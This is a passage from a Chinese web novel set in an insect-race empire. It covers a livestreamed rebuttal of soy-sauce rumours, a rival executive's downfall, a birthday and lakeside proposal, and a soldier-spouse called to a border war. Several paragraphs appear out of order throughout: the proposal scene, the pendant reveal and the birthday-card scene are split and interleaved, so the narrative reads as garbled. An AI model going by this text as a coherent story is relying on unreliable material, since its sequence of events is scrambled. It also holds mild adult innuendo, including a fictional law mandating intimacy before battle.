——我听说,种花调料公司特意往酱油里加了止泻药,这才暂时没出事,如果经常吃,说不定会得肠癌呢。 水军一出,不少立场不坚定的网友又开始相信酱油有毒论了,但如果仔细看,不少营销号的评论区已经零星出现了一些对酱油有毒论表示质疑的路虫网友,虽然评论一出很快就淹没在了水军当中,但隐隐也表现出了,舆论的风向正在悄然发生着变化。 安瑞正在津津有味地翻评论区,忽然以页面一变,夏洛的语音申请弹了出来。 “弗兰克爷爷的实验报告已经发了,但是好像用处不大。”因为着急,夏洛的声音都有些快,“要我看,要不咱们也找几家公关公司,水军控评算了。” “恐怕福瑞斯集团那边正等着咱们找水军呢。” 安瑞上辈子从大学开始就玩互联网,对里面的门道不说一清二楚,也知道的八九不离十。 水军的背后就是钱,跟福瑞斯集团这样量级的资本比着烧钱,简直就是自找死路。 安瑞垂眸沉思了片刻:“我记得你说过,弗兰克教授也是亚当斯家族的旁支,能不能请弗兰克教授团队来我们调料厂,直播做一次实验。” 随着科技进入星际时代,很多原本笨重无法搬运的实验仪器都变得精致小巧了不少,所以安瑞才敢提出这样的建议。 “你是说直播辟谣?”夏洛声音一喜,“我觉得可以试试。” * 三天后,调料工厂。 “大家好,欢迎来到小安的直播间。” 发声明只是为了展示一下种花调料公司的态度,重头戏还在后面呢。 四小时后,就在网上针对种花调料公司的声明吵得不可开交的时候,帝国大学农学院院长弗兰克教授团队忽然在网上发了一篇实验报告。 报告里详尽地阐述了他们团队做的有关酱油的实验,实验结果表明,酱油不含毒素,也不会致癌,是可食用的调料。 报告的语气很中立,实验也很中立,但支持哪方显而易见。 弗兰克教授可是帝国大学首屈一指的教授,农学领域毫无疑问的顶级专家。最关键的是,一百年前,就是弗兰克教授带领他的实验团队,帮助虫星攻克了粮食蔬果产量低的难题,广大平民才能吃上相对评价的新鲜蔬果。 现如今,弗兰克教授已经一百五十多岁,但依旧活跃在教学和科研的一线,可谓德高望重,德艺双馨。 安瑞刚打开直播,在线观众数量顿时就飙升到了将近200万。 但是和以往热热闹闹的直播间不同,安瑞刚一开播,弹幕瞬间就被水军淹了 【00076:黑心公司还敢开播,真不要脸】 【小e:要不说人家能挣到钱呢,昧着良心就是干】 【若若若若:而且我听说,黑心公司背后有保护伞,就连食品安全部门都管不了他们】 【李·嗷:真的假的,有点吓虫了,反正黑心公司的调料,再好吃我也不敢买了……】 安瑞淡定地看着被水军控评的弹幕:“今天我开直播,就是要对最近网上有关种花调料公司的谣言进行回复。” 他拿起遥控轻轻一按,半空中瞬间浮现出一个虚拟屏幕,上面写着五个大字——辟谣发布会。 安瑞轻轻抬手,镜头一转,页面上出现了穿着实验服的弗兰克教授。 “针对网上出现的各种谣言,我特意把弗兰克教授请到了调料厂,现场为大家实验辟谣。” 直播间的弹幕瞬间安静了。 第六十五章直播辟谣 【AAA纯情小军雌:我看回那些造谣的水军还有什么可说的,这两天气得我都要早产了……】 【翅膀硬了:放心,他们会说这一屋子的酱油全是假的(狗头)】 安瑞话音刚落,弗兰克教授的学生已经从酱油缸里逐个提取了样品,放进检验仪器中。 不到一刻钟,检测报告已经出来了,弗兰克教授亲自指着检测结果对智脑镜头说:“经过检测,种花调料公司生产的酱油完全符合帝国食品安全标准,不存在致癌、腹泻、记忆力下降等风险。” 【今天找到雄主了吗:就一个字,爽】 【小e:食品安全标准也不一定全面啊,万一是别的元素会导致腹泻呢】 【李·嗷:笑死,不会真有傻瓜相信吧,之前吃酱油吃出事来的新文还少吗?】 【早八我恨你:确实哎,我有个室友就因为吃了酱油,吐了整整三天……】 【为帝国健康工作150年:可弗兰克教授都说没事了,救命,我现在真不知道该相信谁了】 安瑞胸有成竹地看着弹幕,抬手用遥控器轻轻一点,空中的虚拟屏幕一闪,立刻换了一行字: ——谣言2:福某斯集团的酱油拉肚子,所以酱油不能吃 安瑞抬头看着那行大字,很是无语了几秒:“这句话的逻辑我真不想吐槽了,就有没有一种可能,福瑞斯集团的酱油吃完了会呕吐腹泻,不是酱油有毛病,而是福某斯集团的酿造工艺有问题呢?” 【萱儿:我笑晕了,安安好无奈】 【说了你也不信:真的,这个谣言从第一天开始我就没看明白过,这帮水军到底是咋想的】 【午饭吃什么:最绝的是居然还有那么多虫会信(无语)】 【早八我恨你:……居然还能这么解释吗?不管了,先蹲一个】 “我知道我这么说很多朋友也不会信,那今天,有图有真相,我就请弗兰克教授现场揭秘,为什么福某斯集团生产的酱油,食用之后会出现呕吐现象。” 安瑞说着,从桌上拿起一瓶酱油,又拿出一张打印的截图:“福某斯集团官方旗舰店正版渠道购买,全新未拆封,不信的朋友可以截图比对哈。” 【今天找到雄主了吗:我笑疯了,安安求生欲一如既往的强】 【甜甜圈拌米饭:没办法,求生欲不强斗不过那些水军啊】 【喵喵至上:我猜水军下一个操作是举报安安在直播间违规展示未授权商标(狗头)】 安瑞把酱油对着直播间镜头拧开,递给弗兰克教授的学生。 很快,实验结果就出来了,弗兰克教授亲自拿着智脑对准了显微镜:“各位,左边是福瑞斯集团的酱油,右边是种花调料公司的酱油,大家能看出有什么区别吗?” 【萱儿:福瑞斯集团的酱油里有灰色的东西,好恶心】 【午饭吃什么:弗兰克教授你要说福某斯集团,小心被起诉】 【西瓜彩虹糖:我笑晕了】 “没错,左边的酱油里灰色丝状物就是我们经常说的霉菌,也正是因为含有霉菌,食用之后才会出现呕吐腹泻的症状。”弗兰克教授手微微一转,把镜头切换到右边的样本,“但是我们可以看到,种花调料公司的酱油里,并没有霉菌,所以大家不用担心。” 【草莓冰棒:救命,弗兰克教授讲话风格真的好像我专业课老师】 【早八我恨你:怪不得我室友吃了福瑞斯集团的酱油会呕吐,我雌兄家里买了种花的却没事,原来不是因为止泻药啊】 【西瓜彩虹糖:前面的崽真的好单纯,这就是清澈中透着愚蠢的大学牲吗】 “现在有关酱油质量本身的谣言,我已经全部回应完了,大家如果没有什么别的疑问,我就先送弗兰克教授上星舰了。” 【翅膀硬了:艹,这两天辟谣辟得我手都快抽筋了,我看这会那帮水军还有什么好说的】 【毕设写完了吗:我艹,弗兰克教授,我偶像,主播太牛了呜呜呜】 【喵喵至上:我现在彻底糊涂了,所以酱油到底能不能吃啊,我还是挺想吃红烧排骨的】 【今天找到雄主了吗:真说了一万次了,如果酱油有毒,安安会每天都在直播间用酱油做饭吗……】 【甜甜圈拌米饭:你们最好全都觉得酱油有毒,这样我就再也不担心买不到酱油了(狗头)】 安瑞和弗兰克教授寒暄了几句,轻轻点了一下遥控器,悬浮在空中的虚拟屏幕上顿时冒出了一行大字: ——谣言1:实验报告的酱油和卖出去的不是一种。 “来,各位,针对这个谣言,今天我们就从流水线上随机盛一试管酱油,让弗兰克教授当场检验。” 安瑞说着,举着智脑走到晒制间,指着一排排一米多高的巨大号酱油缸:“这些就是已经晒制好,可以装瓶出售的酱油,为了防止你们说我弄虚造假,我会从每个缸里抽取一部分酱油。” 【早八我恨你:天啊,第一次看到这么多酱油,震惊我一整年】 【小Q:就算酱油能吃,一个调料而已,卖这么贵,还说什么慈善家】 【海星还行:我前两天买了那个1星币的咖喱,居然是苦的,我一下就不敢吃了】 【翅膀硬了:我就知道,水军黑不成酱油就要开始黑安安,我说话难听我先下了】 “慈善家?”安瑞把弗兰克教授送出去,又立刻回来看弹幕,“我可从来没说过我是慈善家,我是做生意的,一个企业要活下去,自然就得有利润。” 【小e:两头都让你说了是吧,简直又当又立】 【李·嗷:先用1星币的咖喱做噱头,现在到想来自己是做生意的了,真是搞笑】 安瑞轻轻弯了弯唇角,黑色的眼眸里却含着几分悲天悯虫的怅然:“在咖喱块里放苦瓜确实在增高成本的同时降低了口感,看起来好像是一个费力不讨好的行为,可你们想想,如果一星币的咖喱味道也很好,真正该需要他的虫还能买到吗?” 【今天找到雄主了吗:安安好聪明】 【翅膀硬了:这招牛哇】 【早八我恨你:本来是像吃瓜,结果发现主播的操作好像可以用作期中案例分析】 【草莓冰棒:上面的哥又幸福了,我的期中做作业还莫得着落呢……】 安瑞低垂眼眸,好像很失落的样子:“我们不可能去核实每一个顾客的身份,我也不敢赌虫性,所以只能用这种费力不讨好的办法进行筛选,既然你们都觉得我用烂菜叶牟利,那不如把这款产品下架算了。” 【早八我恨你:!!!不可以,我真的很需要】 【废品回收·私:主播我错了,我承认我刚刚声音有点大】 【白菜别涨价:我劝你不要下架,如果你不听,我只能跪下求你了】 【凑合活着吧:啊啊啊啊安安那些说你不好的都是水军,你千万别信,求求了】 漆黑的眸子里闪过几分不为虫知的笑意,安瑞抬起头,装作勉强的样子:“既然你们这么说,那暂时不取消一星币咖喱了,不过要是再让我看到有虫在网上造谣……” 【白菜别涨价:老子第一个骂死他】 【凑合活着吧:+1】 【废品回收·私:+10000】 * 与此同时,福瑞斯集团总裁办公室。 道格拉斯气急败坏地把智脑摔在沙发上:“那两家公关公司的负责虫呢,都是死虫吗,给他们发语音申请。” 亚雌秘书哆哆嗦嗦地发了语音申请,结果刚响了三声就被挂断了。 “还敢挂我语音!” 【废品回收·私:做生意就可以用烂菜叶了,我们底层虫的命不是命】 【白菜别涨价:就是的,最看不惯主播这样的虫,一边挣着低层的钱,一边还用低层赚好感】 “你们别着急,听我把话说完。” 看着刷刷滚动的弹幕,安瑞脸上并没有什么气氛的表情,眼睛里反倒是含着几分悲悯和无奈:“1星币咖喱口感会发苦,我承认,但这不是因为我用的调料不好,而是1星币咖喱的原料里有苦瓜。” 安瑞一边说一边拿着智脑走到咖喱生产间,对准了正在翻炒咖喱的机器:“我放大一点,绿色的原料就是苦瓜。” 【废品回收·私:???不是主播你是不是闲的,没事往咖喱里放苦瓜干啥】 【草莓冰棒:安安这波操作,我真有点看不懂了,苦瓜很贵的……】 【早八我恨你:不理解+1】 道格拉斯恶狠狠咬着牙,刚要发作,就听亚雌秘书颤颤巍巍说:“总裁,公关公司发了消息,说是这个项目确实没办法继续了,尾款他们不要了。” “艹!”道格拉斯第一次爆了粗口,“全虫星就他们一家公司不成?你再去找别的公关公司,价格随他们开。” 十五分钟后,亚雌秘书瘪着嘴小心翼翼地走进来:“总裁,所有数得上的公关公司我都问了,一个愿意接的也没有。” 道格拉斯的胸口剧烈地欺负,刚要继续开骂,门一响,乔治走了进来。 道格拉斯知道,他彻底完了。 第六十六章破壳日 “叔父。” 艾米放学回家,放下书包就冲进了厨房,扑在安瑞的腿上,甜甜地撒娇。 “好乖。”安瑞放下打蛋器,揉了揉小虫崽的脑袋,“乖乖饿不饿,冰箱里有甜点,可以吃一点。” 上次直播后,谣言彻底被平息,调料公司的营业额恢复到了正常水平,调料厂和店铺也渐渐走上正轨,安瑞也终于能回到过去的生活节奏。 艾米和诺拉也终于不用吃谷初和味本的外卖了。 “不饿呀。” 艾米低着头,一双蓝汪汪的大眼睛里露出了几分纠结的神色:“叔父……” “怎么了乖乖。”安瑞蹲下来,平视着自家崽,“在学校遇到不开心的事了?” “没有。”小虫崽抿了抿嘴唇,忽然问,“您有没有什么想要的东西啊。” 安瑞愣了一下。 “什么想要的东西?” “雌父。”道格拉斯慌忙从椅子上站起来,“您怎么来了。” “直播的事我都知道了。”乔治脸上不悲不喜,“往后福瑞斯集团的产量减半吧,那些花里胡哨的产品也都下架,就卖食盐和白糖。另外,你也不用做这个总裁了,舒缓剂原料的供应商有个雄子刚刚成年,你收拾收拾,准备去做雌侍吧。” 看着中年亚雌背着手踱出去,道格拉斯跌坐在椅子上,一双眼睛里是死一般的绝望。 放下事业出嫁,还是个雌侍,连雌君都不是。 “就是……就是礼物。”小虫崽有点着急地咬了咬嘴唇,“雌叔说叔父的破壳日快到了,让我来问问您有没有什么想要的……” 一句话没说完,艾米忽然慌张了捂住了嘴:“天啊,雌叔不让我告诉您的,叔父您能不能假装没听见。” 原来是自己的生日快到了吗? 或许是缘分,他的生日和原主的破壳日恰好在同一天,都是5月28日。 只是他上辈子父母去世的早,身边也没什么特别亲近的朋友,慢慢地也就不再过生日了。 安瑞压下心中的回忆,捏了捏小虫崽的脸:“雌叔是要给叔父一个惊喜吗?” “对。”艾米使劲点头。 “那好吧,那叔父可以假装不知道,但是小艾要怎么跟雌叔说呢?” “不知道哎。” “小艾可以和雌叔说,不管雌叔送什么叔父都开心。” 艾米迷茫地摇了摇头,直觉告诉他好像哪里有问题,又实在想不出来,只好乖巧地点头:“好的叔父,小艾记住了。” 小虫崽一句话刚说完,门口就传来了响动。 艾米愣了一下,然后高高兴兴跑出去冲到诺拉面前,又很快地刹住车:“雌叔。” “嗯。”诺拉把军帽摘下来,“最近有没有考试,今天老师讲得东西都学会了没?” 说好的保密呢? * 晚饭后。 诺拉检查完小虫崽作业,回到主卧,安瑞正靠在床上剪视频。 “小艾睡了?” 诺拉点点头,蹭到安瑞身边,轻轻哼了一声:“雄主就会跟艾米套话。” “你这可是冤枉我了。”安瑞忍不住勾起了唇角,把诺拉揽在怀里,“我没还没套话呢,小艾就主动交代了。” 诺拉气得转了个身,用后背对着安瑞:“给我过生日的时候就瞒得好好的,等到了我要给您过生日的时候就全交代了。再这样以后我不管艾米作业了,都您去管。” 安瑞终于忍不住笑出了声,凑到诺拉耳边轻轻说:“啧,我也没在家酿醋啊,怎么这么大的酸味。” “雄主!” 诺拉又气又羞,抬手想打又舍不得,只能用蓝色的眼睛使劲瞪过去。 “那我哪比得上咱们军校的优秀毕业生诺拉中将啊,要是让我辅导,小艾肯定又要考不及格了。” 眼见着自家雌君真的要恼了,安瑞赶紧讨饶:“你是小艾的雌叔,小艾心里肯定更喜欢你呀。” 诺拉抿着唇笑了一下,翻个身往安瑞怀里靠了靠:“反正也被您知道了,我就直接问了,您有什么想要的生日礼物吗,不许说都行。” “下下周才考试,今天上午学了计数和语言,下午是手工课,作业不多。” 诺拉脸上这才露出了几分笑容,轻轻拍了拍小虫崽的肩膀:“再接再厉。” “雌叔。”艾米一脸兴奋,“您让我问的我问出来了。” 诺拉蓦地停住脚步,压低了声音:“你叔父怎么说的?” 小虫崽声音清脆:“叔父说,您送什么他都开心。” 诺拉:…… 安瑞垂眸想了想:“你也知道,我父……雄父和雌父已经去世很多年了,所以我就想,在生日的时候,咱们一家三口好好玩一天,成不?” 诺拉眼眶一红,心里像被狠狠捏了一把。 他咬了咬嘴唇,压下心中的酸涩:“可以啊,怎么不成,5月28日刚好是周末,我不用上班,艾米也不用上学,咱们好好玩一天。” * 时间不知不觉从指尖划过,很快就来到了5月28日。 早上刚一睁眼,安瑞就看到一大一小两只雌虫整齐地趴在他床边,两双如出一辙的蓝色眼睛一眨不眨地盯着他。 就跟蓝星某TOP2大学的录取通知书似的,设计还挺巧妙。 “谢谢小艾,叔父特别喜欢。” 艾米笑得露出了两个甜甜的小酒窝,和安瑞笑成了一团。 诺拉站在旁边,轻轻咳嗽了一声:“艾米,你去厨房把面包烤上。” “哦。”小虫崽从床上爬下来,刚要去厨房,忽然转头看向诺拉,“雌叔,您还没送叔父生日礼物呢。” 诺拉眉头微皱,刚要训话,艾米眼珠一转,紧跟着就哒哒哒跑出去了,只留下一句:“雌叔你和叔父不用着急。” 安瑞:…… 所以你觉得你雌叔要送我的礼物是什么。 诺拉脸也有些发红,强自解释:“艾米的雌训通识已经讲到侍奉雄主的章节了,所以他可能也有点误会。” “这样啊。”安瑞似笑非笑看着坐在床边的雌虫,“我倒是觉得小艾说的这个礼物好。” “雄主!”诺拉气得鼓起腮帮子,从怀里掏出一个精巧的红丝绒首饰盒,扔进安瑞怀里,“您自己看吧。” 首饰盒很小一个,只有巴掌大,安瑞好奇地打开,就看到里面装着一个简约精致的透明水滴形吊坠。 “真好看。” 安瑞夸了一句饶有兴致地把吊坠从首饰盒里拿出来,突然有些发愣。 刚看见的时候,他以为吊坠是水晶或者玻璃做的,可现在又觉得不太对劲。 安瑞被吓了一跳,而后无奈地弯了唇角:“大早上不睡觉,干什么呢?” “生日快乐!” 话音刚落,艾米已经爬上了床,从怀里掏出一个精美的贺卡。 “这是小艾上课学的立体书,送给叔父,祝叔父生日快乐。” “好乖。” 安瑞揽着小虫崽在他额头上亲了一下,小心翼翼地打开贺卡,中间忽然出现了一个立体的生日快乐字样。 一来,水晶的吊坠不会这么轻,二来,这吊坠摸起来居然是温的。 “这是什么做的,感觉不像是水晶啊。” 诺拉微微一笑:“您猜猜?” 安瑞低下头,翻来覆去地研究,忽然就闻到了一股熟悉的香味。 他福至心灵,脱口而出:“不会是你翅翼上的骨刺做的吧?” “雄主真厉害。” 诺拉的脸上浮现出一抹红晕:“我记得您当时夸过我的骨刺,我就用其中一根,做了这个吊 * 当天上午,诺拉和艾米陪着安瑞逛商城买了不少衣服,中午又找了一家饭馆大吃了一顿。 自从安瑞开始售卖各种调料后,不少饭点都改良了菜品,引入了不少安瑞直播间的菜式,红烧肉、糖醋排骨、地三鲜之类的菜品都已经成为了街边饭馆的常见菜式。 虽然这多少会影响味本和谷初的生意,但安瑞倒并不是很介意。 毕竟,他自己的力量有限,要想发展虫族的饮食文化,还是需要依靠大家的努力。 吃过午饭,安瑞原本打算带诺拉和小虫崽去看电影,没想到小虫崽说他已经和伊莱约好了,下午要去伊莱的新家做客。 “我晚上也不回来吃饭了,叔父和雌叔好好享受二虫时光呀。” 艾米虫小鬼大地揶揄了一句,笑着跑开了。 “这孩子。”安瑞无奈地笑了笑,看着旁边的雌虫,“那咱们还去看电影不,小虫崽不在,咱们刚好能看拿个限制级恐怖片。” 没想到诺拉摇了摇头,拉起安瑞的手:“雄主,我能带您去个地方吗?” 安瑞诧异地挑了挑眉,旋即笑道:“好啊。” 他们坐上星舰,诺拉飞快地设置了一个目的地,还挡着不让安瑞看。 安瑞见状,就坐回了位子上,安静地等待自家雌君的安排。 星舰飞了半个多小时,终于降落在了郊区的空地上,安瑞从星舰上走下来,入目是一片湛蓝色的湖,在下午太阳的照射下像一整块昂贵的蓝宝石。 翠绿的树木环绕在四周,配上蓝天白云,别有一番清新自然的韵味。 “好漂亮啊。” 安瑞忍不住感叹一句,虫族人文景观比较多,倒是少见这种纯自然的景色。 诺拉站在安瑞身边,轻轻问:“您知道这个湖叫什么吗?” 安瑞摇摇头“这我还真不知道。” “虫神湖。” 坠。” “胡闹!”安瑞气得皱眉,“骨刺也是能随便拔的吗,疼不疼?” “不疼啊。”诺拉茫然地眨眨眼,“反正拔了也会再长,为什么不能拔,而且就算我不拔,过一段时间旧骨刺也会脱落,然后长出新的。” “那以后也别瞎折腾了,知道不?” “哦。”诺拉随口答应一句,又兴致勃勃地拿起骨刺项链,“我给您戴上吧。” 安瑞转过身,微微低下头,任由诺拉那两条修长有力的小臂穿过他的脖子,帮他戴上骨刺项链。 “谢谢诺拉,我很喜欢这个生日礼物。” 安瑞摸了摸胸前温润的吊坠,回头深深地吻上了自家雌君。 安瑞怔愣了一下,只觉得这个名字十分熟悉,就听诺拉继续说:“传说在远古时期,两位虫神就是在这里相遇,产下了第一个虫蛋,自此创造了虫族。所以,在古代,雌虫遇到了心仪的雄虫,就会请他来虫神湖,向他求婚。” 可惜,随着虫族慢慢步入科技时代,这一项古老的习俗随之凋零,甚至相关仪式的记载也变得残缺不全,诺拉查了很多文献,才勉强把这个习俗搞明白。 诺拉转过身,虔诚地看着安瑞:“雄主,诺拉今天想把这个仪式补上,可以吗?” 第六十七章边境告急 安瑞强忍着怦怦乱跳地心脏,冲诺拉笑着点点头:“我很期待。” 诺拉也有些羞涩地勾了勾唇角,下一刻,一双巨大的翅翼从诺拉背后展开,带着雌虫直飞向虫神湖正上方。 安瑞眼看着诺拉的脸色变了变,降落在地面,收起翅翼,接了语音,没说几句话就挂断了智脑。 他赶紧凑过去:“出什么事了?” “军部的电话,边境出事了。”诺拉抿了抿唇,有些歉然地看着安瑞,“抱歉雄主,我可能要回军部一趟。” “没事,你快去吧,工作要紧。”安瑞拍拍诺拉的肩膀,“你直接开星舰去,我自己找共享星舰回去就行。” “这里是郊区,没有共享星舰。”诺拉拽着安瑞上了星舰,“也没有那么着急,我送您回去的时间总还是有的。” 虽然诺拉嘴上这么说,但安瑞能感觉到诺拉的着急,他甚至都没有启动自动驾驶模式,而是亲自开着星舰风驰电掣地把安瑞送到家,然后又风风火火地直奔军部。 透明的翅翼在阳光的照射下泛着缕缕金光,诺拉在天空上飞翔,翻转,跳跃,做出一个个美轮美奂的动作。 安瑞的眼神几乎黏在了诺拉身上。 如果世界上真的存在天使,应该也不过如此吧。 忽然,一串智脑的铃声打断了美妙的仪式。 要随时上战场,为了国家的利益战斗的军雌。 安瑞一颗心瞬间揪在了一块,他匆忙地打开智脑,在搜索框打下“战争虫族”几个字,却什么消息都没搜出来。 想想也是,国家机密,自然不会公布在网上。 安瑞焦虑地抓了几下头发,打开虫娱,想着刷几个搞笑视频分散一下注意力,却怎么也看不进去。 脑子被诺拉、战争,甚至死亡几组词死死地占领,根本没有空余的经历去接收视频里的信息。 安瑞颓然地关上智脑,把在腿边蹭来蹭去的煤球捞到腿上,轻轻抱在怀里,握着他的小爪子:“诺拉应该你不会有事的,对不对?” 六七个月的半大小狗歪着脑袋,使劲叫了两声,似乎在肯定安瑞的话。 * 与此同时,军部大会议室已经炸开了锅。 亚历克斯拍着桌子:“艹,蜥蜴人居然还他雌的敢来边境,简直是不怕死,打就打,看谁打得过谁。” 夏佐被亚历克斯的大嗓门吵得耳朵疼,冲他摆摆手:“你可快歇会吧,怎么打,派谁打,还得等虫皇和司令员们开完会决定,你着急也没用。” 亚历克斯愤愤地哼了一声,翘着腿坐在位子上,是不是伸长了脖子,往小会议室看。 终于,半个小时后,小会议室的门打开了,虫皇率先走出来,后面跟着三位军团司令还有十几位上将。 会议室里的中将和少将赶紧站起来,纷纷行了军礼。 虫皇走到正中央的位子,摆手让大家落座:“L星的情况相想必各位已经听说了,蜥蜴人的三十万士兵已经在星球成功登陆,与L星球的守军展开了数次战争。边境告急,需要各位的鼎力相助。” 亚历克斯第一个站起来:“虫皇,亚历克斯请战。” 虫皇摆摆手:“你别着急,作战计划已经制定好了,之所以把各位请过来,就是希望各位能上战场,带领士兵击败敌军,守卫虫族的领土。给各位一天假期,后天早上六点,军部集合。” 安瑞靠在沙发上,一双细长的眉毛紧紧地拧在了一块。 来虫族这么长时间,雌君又是中将,安瑞对军部的制度还是略知一二的。 为了保障已婚军雌能更好地照顾雄主,已婚军雌不仅假期比一般军雌多,一般情况下加班也都会优先找未婚雌虫。 能这么着急地把诺拉叫走,肯定是出了什么大事。 自从七年前那场战争之后,虫族一直处于和平状态,和平到安瑞都几乎忘了,自家雌君是只军雌。 “我怎么有点看不明白呢,L星球是最偏远的一颗星球,上面几乎寸草不生,十光年之内一颗星球也没有,距离首都星更是有足足一千光年。”夏佐跟在诺拉身后往外走,“你说蜥蜴人花这么大力气,到底是图什么呢?” 诺拉轻轻摇了摇头:“不知道,不过不管蜥蜴人为了什么,都不能让他们得逞。” “那是自然。”夏佐瞥了一眼身边的好友,“怎么了,情绪不高啊,是不是不舍得和你家雄主分开?” 诺拉垂着头,抿了抿唇:“蜥蜴人科技发达,不在虫族之下,七年前那场战争虫族虽然打赢了,但也是惨胜,我担心……” 从考上帝国军校,再到成为一名军雌,诺拉从来没有惧怕过死亡,甚至觉得自己就应该死在战场。 这么多年,虽然他没参加过什么大规模的战争,但是去边境执行秘密任务也是常事,每次他都冲在第一个,这才能年纪轻轻成为了少将。 可是现在,他却突然有点害怕,害怕死亡,更害怕和自家雄主永远地分开。 “我记得,军部有规定,如果军雌是雄虫的唯一伴侣,就可以申请不参加战争。”夏佐歪头看着诺拉,“你如果不想去,可以跟军部申请的。” “我……”诺拉纠结地抿了抿唇,“我再想想吧。” * “回来了?” 安瑞正在厨房煮面,听到门口的响动,穿着围裙就冲了出来,仔细观察着诺拉的脸色:“咋样,没出什么事吧?脸色怎么这么不好” 诺拉摸了摸蹦跶着撒娇的煤球,勉强扬起一个笑容:“没,我……我这是饿的。” 安瑞使劲一拍脑袋:“小艾在伊莱家吃饭,我以为你赶不及回来吃晚饭了,就只下了点面条,你等会,我去炒两个菜,很快。” 趴在地毯上的煤球也兴奋地摇了摇尾巴,响亮地叫了两声,似乎在肯定艾米的话。 安瑞把小虫崽揽在怀里,故意逗他:“那是维加叔叔做的饭好吃,还是我做的饭好吃啊?” “这个嘛……”艾米嘿嘿一笑,“咖喱牛肉饭好吃还是因为叔父做的咖喱好啊。” “鬼机灵。”安瑞轻轻弹了一下艾米的脑门,“不早了,快去洗漱,明天还要上学。” 把小虫崽哄睡,安瑞回到卧室,诺拉正低着头坐在床边,不知道想什么呢。 安瑞蹑手蹑脚地上了床,从后面轻轻搂住雌虫,吻了吻他的耳尖:“宝贝,想什么呢?” 诺拉靠在安瑞怀里,忽然开口说:“雄主,如果我要去打仗了,您同意吗?” 安瑞心里咯噔一声,手臂不自觉地抱紧了雌虫。 “出事了?” 诺拉闷闷地点点头:“还是蜥蜴人,他们已经在L星球登陆了,边境告急,需要军部支援。” 安瑞的心瞬间沉到了谷底。 他还记得七年前和蜥蜴人的那场战争,虫族牺牲了将近十万士兵,才勉强打退了蜥蜴人。时隔数年,蜥蜴人卷土重来,必然做好了完全的准备。 这场仗,只会比七年前更加凶险。 “不用了雄主,面条就行。” 诺拉跟着安瑞走进厨房,不到十分钟,一大一小两碗热气腾腾的西红柿鸡蛋面就端到了饭桌上。 诺拉沉默地吃饭,安瑞也没再问什么,一时之间,客厅里只剩下吸溜面条的声音。 没过多长时间,艾米背着书包高高兴兴回来了,一进门就扑到沙发上:“雌叔叔父你们知道吗,伊莱的新家超级好,两居室很干净,离我们学校也近。” “真的呀。”安瑞揉揉小虫崽的脑袋,“晚上吃了什么?” “伊莱的雌父给我们做的,咖喱牛肉饭。”艾米意犹未尽地舔舔嘴唇,“好吃。” 似乎是察觉到了安瑞的沉默,诺拉转身和安瑞面对面坐着:“如果您不愿意我去,我可以……” “你想去吗?”安瑞突然打断了诺拉的话,“如果不考虑我。” “我……”诺拉默默地低下头。 “想去就去。”安瑞把雌虫揽在怀里,“家里有我,你别担心。” 诺拉张开嘴巴还要说什么,却被安瑞伸手按住了。 “你听说过那句话吗,前途比爱情重要,但爱情比前途难得。我希望站在你的前途里,而不是成为你梦想的绊脚石。”安瑞亲了亲雌虫的嘴角,“我和艾米,还有小煤球都会在家等你,等着我们的英雄凯旋归来” * 于是,诺拉去前线这件事就这么定下来了。 第二天,诺拉罕见地和安瑞一起去接小虫崽放学,还带他去了一家小虫崽都喜欢的游乐园主题餐厅。 艾米在游乐区疯玩了一圈,才跑回就餐区,眨着一双大眼睛问:“叔父,为什么今天带艾米来这里吃饭啊。” 安瑞和诺拉罕见地沉默了几秒,安瑞轻轻叹了口气,把小虫崽揽到怀里:“你知道雌叔的工作是什么吗?” 如果不考虑雄主,他当然想去。 国仇家恨,以及军雌的责任,都让他不得不去。 但他怎么可能不考虑雄主。 一时之间,卧室安静了下来。 不知道过了多长时间,安瑞忽然笑了,他摸了摸诺拉的脑袋:“不用纠结了,你想去。” 诺拉猛地抬起头:“雄主……” “军雌。”小虫崽脆生生地回答。 “对,所以雌叔明天可能要去前线打仗,保卫咱们的国家了。” 艾米的眼睛里瞬间充满了泪水,他凑到诺拉腿前,吸着鼻子问:“雌叔,您不会像雌父一样丢下艾米,您会回来的,是不是?” 诺拉的眼尾也有些泛红,他把小虫崽抱进怀里,揉了揉艾米柔软的金发,第一次做出了一个他没有把握实现的承诺:“会的,雌叔不会丢下艾米。” * 晚饭后,安瑞洗完澡换了睡衣,在卧室帮诺拉收拾行李。 其实也没有什么可收拾的,毕竟生活必需品军部会提供,收拾到最后也无非就是几套军服。 安瑞刚把东西装好,忽然看到诺拉穿着熟悉的猫咪睡衣从浴室里走出来。 雌虫迈着修长有力的蜜色双腿一步一步走到床边,跪伏在安瑞身前,说出了那句安瑞无比熟悉的—— “请雄主享用。” 第六十八章 暂别 “雄主,我不想要这种舒缓方式。”诺拉用麦色的小臂搂住安瑞的脖子,“我想要您。” 诺拉一边说,一边拉着安瑞的手触上了自己头上的猫耳朵。 “喵。” 低沉的声音里带着几分撒娇,听起来别有一番滋味。 眼看着自家雄主还没反应,诺拉急得晃了晃身后的尾巴:“喵呜,喵喵喵。” 安瑞被诺拉逗笑了,伸手揉了揉诺拉的脑袋,又把他抱在怀里,亲了亲他的嘴角。 诺拉被揉得很舒服,一双蓝色的眼睛眯成了两条缝,嗓子也想猫咪一样发出呼噜呼噜的声音。 安瑞揉了一会儿,手伸到了腰腹下方,还没开始,就被诺拉按住了。 雌虫惊慌失措,像炸了毛的猫一样:“您 ……您干什么!” “你不是想要吗,弄完早点休息。” “我不是,我……我要您!”诺拉气得 眼睛瞪圆了,上手就要把扒安瑞的衣服。 安瑞苦口婆心:“乖,明天还要出证,别闹,用手一样的。” “不行。”诺拉咬了咬牙,“《军雌保护法》里规定了,战争前一夜,雄主必须要临幸即将出征军雌,您不能违反法律。” 安瑞轻轻叹了口气:“那不是为了保证军雌精神海得到充足的抚慰吗?做精神力舒缓也是一样的。” “不一样!” 诺拉固执地搂着安瑞的脖子,一双眼睛却悄然红了。 他别过头,轻轻说:“说不准,这是我最后一次服侍雄主了,上次穿这身衣服的时候被艾米打断了,我还没穿这身衣服完完整整地伺候您一回。” 诺拉能感觉到,雄主是喜欢他扮成猫的。 他怕今天再不穿,以后就没机会了…… “不许胡说!” 安瑞把诺拉抱起来在怀里,用被子紧紧裹住:“明天不是还要早起,早点睡吧。” 一句话出口,他忽然想到了什么,伸手覆在诺拉的额头上:“乖乖,再做一次精神力疏导吧?” 虽然自家雌虫的精神海在规律的疏导下已经非常健康,但战场凶险,驾驶机甲又要耗费大量精神力,安瑞多少还是有些不放心。 他刚要把精神力丝线伸进诺拉的精神海里,手忽然就按住了,怀里的雌虫抬起头,一双苍蓝色的眼睛含着深深的眷恋。 